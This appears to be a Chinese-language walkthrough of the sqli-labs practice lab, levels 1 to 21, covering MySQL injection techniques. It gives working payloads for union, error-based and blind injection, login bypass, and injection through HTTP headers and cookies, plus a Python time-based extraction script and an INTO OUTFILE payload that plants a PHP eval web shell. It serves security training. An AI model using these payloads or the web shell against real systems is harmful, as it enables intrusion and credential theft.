sql-lab通关
从基础到复杂
less-1(基于错误的GET单引号字符型注入)
id=1
//回显正常
id=3'
//报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''3'' LIMIT 0,1' at line 1
?id=1
? id=1'
为什么加上引号会报错?
查看源码 直接将web页面传递的值加入sql语句中,没有进行过滤导致的错误
再来看看web页面返回的错误
接下来来找到为什么加了'导致报错
我们分析一下他的源码,在数据库中执行一下
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这里加不加单引号都可以,id是int型的,可以不加 ,也可以加,而username和password字段都是char类型,就必须加引号。
?id=1'--+
?id=1' order by 1--+
?id=1' order by 4--+
接下来就是获取用户名和密码了
一般sql注入的步骤 : 字段数->数据库->表->列->值
字段数可以通过 order by 去猜解 或者 通过 union select 1,2,3, 4 这样是试。如果报错那么就不是
首先获取字段数,通过order by 3
返回正确的值,而order by 4 返回错误
接下来通过联合查询获取数据库和表以及最后的password
Less-2 基于错误的get整型注入
由易到难后面将展示如何绕过
知识点环节
MySQL的注释符一般有三种
--
, 单行注释
#
单行注释
/**/
多行注释
注意-- 不是注释符,–后还需要一个空格 ,而在web中 + 和空格等价
- 正常访问
http://192.168.248.144:8080/Less-2/?id=1
- 绕过测试
-1' or 1=1 --+ //数字型注入
- 常规操作获取用户名和密码
-1' or 1=1 order by 3 --+ // 字段数为3
id=1
id=1'
id=1'--+
所以是数字型注入
然后和上一题操作基本一致,去掉一个单引号即可
-1 union select 1,2,group_concat(0x7e,username,0x7c,password) from users
Less-3 基于错误的get单引号变形字符型注入
知识点提醒:如何不使用密码登录mysql,试想你拿到了一个用户的低权限账户,但是他对my.cnf 具有可写的权限,就可以通过修改my.cnf 进而登录数据库。如果数据库的存储方式可被允许,那么可以变像的提权。
加了单引号之后还用括号括了起来
?id=-1') union select 1,2,3%23
Less-4 基于错误的GET双引号字符型注入
猜测注入类型
2"
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"2"") LIMIT 0,1' at line 1
可能是双引号字符型注入
然而这里为什么加' 之后没有报错,
我们经过几次演示,应该都知道id是被引号包括的 而如果包括的是单引号比如 '$id',那么我们添加单引号会导致引号未闭合,报错,那如果是’$id"'这种,虽然双引号没有闭合,但是他在闭合的单引号里,所以这里他的作用只是一个引号,而不是闭合作用,这就解释了 为何添加其他字符达不到闭合的目的。
Less-5 双注入GET单引号字符型注入
和前四关不同,五到八关没有将搜索到的信息回显到页面上(五六关输入错误语句会显示,而八关则不会),所以需要盲注。(或报错,前面有讲)
知识点:
回显的那两个字段不见了
这一题没有回显 但是有报错,我们就需要构造特殊的语句,将数据显示在报错里,来读取数据
MySQL一共有十种报错注入
常用的三种
extractvalue
extractvalue(1,concat(0x7e,(select @@version),0x7e))updatexml
updatexml(1,concat(0x7e,(select @@version),0x7e),1)floor
Less-6 双注入GET双引号字符型注入
- 正常访问
http://192.168.248.144:8080/Less-5/?id=1
- 猜测注入类型
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
猜测语句
select * from users where id = "xxx" limit 0,1 ;
- 尝试绕过
发现当结果正确时返回 you are in ...... 否则返回错误。
可以尝试报错注入 ,根据作者的意思,这题是一个双注
那么按照双注的步骤走
- payload
//版本
1" union select count(*),2,concat_ws(char(58),(select version()) ,floor(rand(0)*2)) a from information_schema.schemata group by a %23
// 获取数据库
1" union all select count(*),1,concat('~', (select schema_name from information_schema.schemata limit 4,1),floor(rand(0)*2)) a from information_schema.schemata group by a %23
// 获取表
1 " union all select count(*),1,concat('~',(select table_name from information_schema.tables where table_schema= database() limit 3,1),'~',floor(rand(0)*2)) a from information_schema.tables group by a %23
// 获取数据
1" union all select count(*),1,concat('~',(select concat(username,password) from users limit 0,1),'~',floor(rand(0)*2)) a from information_schema.tables group by a %23
Less-7 导出文件GET字符型注入
- 正常访问
id=1
You are in.... Use outfile......
- 看来这题是要导出文件
sqlmap 也可以执行相同的工作 这里就不解释了。
使用outfile 写入到服务器,我们一般可以利用这个漏洞写入一句话马
这里需要有两个已知项 1 字段值 2 绝对地址
并且 系统必须有可读可写,在服务器上,完整的路径,
导出命令: union select 1,2,3 into outfile "绝对地址" %23
- paylaod
// 一般web都存放在默认的目录下,比如:
1 c:/inetpub/wwwroot/
2 linux的nginx一般是/usr/local/nginx/html
3 /home/wwwroot/default
4 /usr/share/nginx
5 /var/www/html
然后 验证是否具有这几个条件
1 获取文件权限的可读
1')) and (select count(*) from mysql.user)>0 %23
2 注入文件
这里要求猜一下他的绝对路径
id=-1')) union select 1,2,3 into outfile "\\xxx\\1.txt" %23
之后使用
id=-1')) union select 1,"<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php" %23
这里由于是使用docker,没有写成功
Less-8 布尔型单引号GET盲注
布尔盲注
lenth()函数 返回字符串长度
substr()函数 截取字符串 (语法:substr(str,pos,len);)
ascii() 返回字符的ascii码 [将字符变为数字well]
时间型
sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3)判断语句 如果第一个语句正确就执行第二个语句 如果错误就执行第三个语句。
布尔盲注 解题步骤:(以 sql-lab less-8为例)
获取数据库名字的长度: ?id=1’ and (length(database()))=8-- q(利用> < 或 = 来判断其数据库长度)
获取数据库名字:
?id=1’ and ascii(substr(database(),1,1))=115 表示从数据库1开始取一个长度 (将得出一个十进制数,利用ASCII表将其转化为字母或符号)第一个为s、
Less-9 基于时间的GET单引号盲注
布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变,使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假的,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。
Less-10 基于时间的双引号盲注
和9 一样,闭合有所改变,所以不多叙述 - 尝试查询发现问题 http://localhost/sqli-labs-master/Less-10/?id=1%22%20and%20sleep(5)%20%23发现当使用双引号的时候 可能触发时间注入 这里和上题一样 把单引号改成双引号就ok
Less-11 基于错误的PSOT单引号字符
uname=-1' union select 1, database() -- &passwd=admin&submit=Submit
获取到数据库
uname=-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() --
注意:
uname=-1' union select 1, group_concat(password,username) from users --
同样也能使用之前的双注来完成
uname=1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#
Less-12 基于错误的双引号POST型字符变形注入
直接开始看源码
- 正常访问
admin/admin
返回:Your Login name:admin/Your Password:admin
- 加" 报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin") LIMIT 0,1' at line 1
- 尝试绕过获取
admin ") -- // 注意 -- 后面有个空格,绕过
之后就是获取数据了
-1") union select 1,database() -- // 获取数据库为security
-1") union select 1,group_concat(0x7c,table_name,0x7c) from information_schema.tables where table_schema=database() -- // 获取表
-1") union select 1,group_concat(0x7c,column_name,0x7c) from information_schema.columns where table_name='users' -- // 获取字段
-1") union select 1,group_concat(0x7c,username,0x7e,password,0x7c) from users -- // 拿到数据
Less-13 POST 单引号变形双注入
正常访问
admin/admin 然而没有返回值,那么这里可能没有正确的返回值
- 尝试绕过
通过 a') or 1=1 -- // 绕过验证
获取尝试 ') or ('1')=('1
之后尝试获取数据
- 获取数据
0') union all select count(*),2,concat( '~',(select schema_name from information_schema.schemata limit 4,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23
0') union select count(*),concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'~',floor(rand(0)*2)) a from information_schema.tables group by a # // users
0') union select count(*),concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand(0)*2)) a from information_schema.columns group by a #
0') union select count(*),concat('~',(select concat(username,password) from users limit 0,1),'~',floor(rand(0)*2)) a from information_schema.columns group by a #
Less-14 POST双引号变形双注入
老样子先看源码
- 正常访问
admin/admin
访问正常
- 绕过
和13一样 改单引号为双引号就可以绕过
" or "1"="1 这样就可以绕过验证登录
- 获取数据
0" union select count(*),concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'~',floor(rand(0)*2)) a from information_schema.tables group by a #
0" union select count(*),concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~',floor(rand(0)*2)) a from information_schema.tables group by a #
0" union select count(*),concat('~',(select password from users limit 0,1),'~',floor(rand(0)*2)) a from users group by a #
0" union select count(*),concat( '~',(select concat(id,username,password) from users limit 0,1),'~',floor(rand(0)*2)) as a from information_schema.schemata group by a %23
// 注意 由于正常访问没有回显 ,所以最好加个-1 来报错
成功获取到用户名和密码
Less-15 基于bool型/时间延迟单引号POST型盲注
-正常访问
admin/admin
登录成功
- 脚本跑
理解扫描的方式: 确定数据库的数量,确定数据库的长度,确定数据库
我们可以通过大于数据库的个数这样就不用去判断数据库的长度,之后长度也可以通过时间报错信息去判断,在加上判断 是否是这个字符 一共需要三层循环就可以解决
这里有两种方式去判断 ,使用ascii判断 ,或者通过mid 截断去判断。
data = {'uname': "admin'and If((mid((select schema_name from information_schema.schemata limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
data = {'uname': "admin'and If((mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
data = {'uname': "admin'and If((mid((select column_name from information_schema.columns where table_name='users' limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
data = {'uname': "admin'and If((mid((select username from users limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
data = {'uname': "admin'and If((mid((select password from users limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
看一下脚本
- 脚本跑
理解扫描的方式: 确定数据库的数量,确定数据库的长度,确定数据库
我们可以通过大于数据库的个数这样就不用去判断数据库的长度,之后长度也可以通过时间报错信息去判断,在加上判断 是否是这个字符 一共需要三层循环就可以解决
这里有两种方式去判断 ,使用ascii判断 ,或者通过mid 截断去判断。
#coding:utf-8
import requests
from time import time
url = "http://192.168.64.135/Less-15/"
char = "abcdefghijklmnopqrstuvwxyz_"
print("start!")
for i in range(0,10):
database = ""
for j in range(1,20):
for str in char:
time1 = time()
data = {'uname':"admin'and If((mid((select schema_name from information_schema.schemata limit %d,1),%d,1))='%s',sleep(0.1),1)#"%(i,j,str),'passwd':"1"}
res = requests.post(url,data=data)
time2 = time()
if (time2-time1 > 0.1 ):
database += str
#print(database)
break
print("the %d database: "% (i+1))
print(database)
print("end!")
Less-16 post方法双引号括号绕过时间盲
和上一关就一个单引号和双引号之差
修改admin' 为 admin ")
Less-17 基于错误的更新查询POST注入
老规矩先看源代码
重点:这道题对于uname检查严格,但是password没有检查,所以我们的注入点就限制在了password
注意 如果使用不当,
这里可以使用updatexml进行注入
updatexml用法 : updatexml(1,concat(0x7e,(SELECT 查询语句),0x7e),1)
测试发现注入点在password处 uname 过滤了很多,所以从password处出发
1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#
之后只要在@@version 处添加合适的查询语句就可以构成注入
Less-18 基于错误的用户代理,头部POST注入
先看源代码
可以看到uname和passwd都进行了过滤,这里有个注意点,在平常的渗透中,当输入点没有注入,可以想想是否在其他地方有注入,程序员对于普通用户的输入点过滤严格,但是其他地方却没有进行过滤,导致了注入的发生。
这里考察 host头部注入,一般相对于参数比较难以查找,也不容易判断,一般判断的方式是通过模糊测试去尝试,或者在可能出现注入的地方添加* 通过sqlmap去测试。
而且要善于去发现页面返回的信息,也许这都是与数据库有交互的点。
这道题返回的信息有host和ua ,那么我们可以通过给这两个地方加* 放进sqlmap去测试,或者加点查看是否出现报错
通过测试发现在ua处加'返回了错误提示,那么我们就尝试从这里拿下
' and '1='1 # 闭合 所以接下来就是在这里通过查询语句获取flag了
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1 // 查询版本信息
Less-19 基于头部的RefererPOST报错注入
先看源码
与上题类似,通过返回值判断注入,猜想可能发生在referer处
测试语句与less-18类似
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1 // 查询版本信息
发现闭合 成功注入
Less-20 基于错误的cookie头部POST注入
这里可以看到对于cookie没有进行过滤,并且第二次会拿出cookie调用sql语句,这里就达成了注入的条件。
登录成功之后会设置里面的cookie 当二次刷新的时候 这时候会重新从里面取值弄,并且这次取值没有经过过滤 直接就是注入点 还是使用updatexml的函数进行报错Cookie: uname=admin1 ' or updatexml(0,concat(0x5e24,user(),0x5e24)
Cookie: uname=admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) #
成功绕过,注入成功
值得注意是在21这里开始变复杂了
Less-21 基于错误的复杂的字符型Cookie注入
可以看到 cookie没有进行检测过滤,base编码后就进行了查询
使用sqlmap 注入 ,一定要记得添加编码方式,不然检测不出来
这一题和上一题类似,只是对cookie进行了base64编码,使用sqlmap的 tamper可以绕过
手工测试和20题一样,将20题的payload进行base64编码即可
但是发现#编码后执行失败,换用'1'='1闭合语句
admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IEBAdmVyc2lvbiksMHg3ZSksMSkgYW5kICcxJz0nMQ==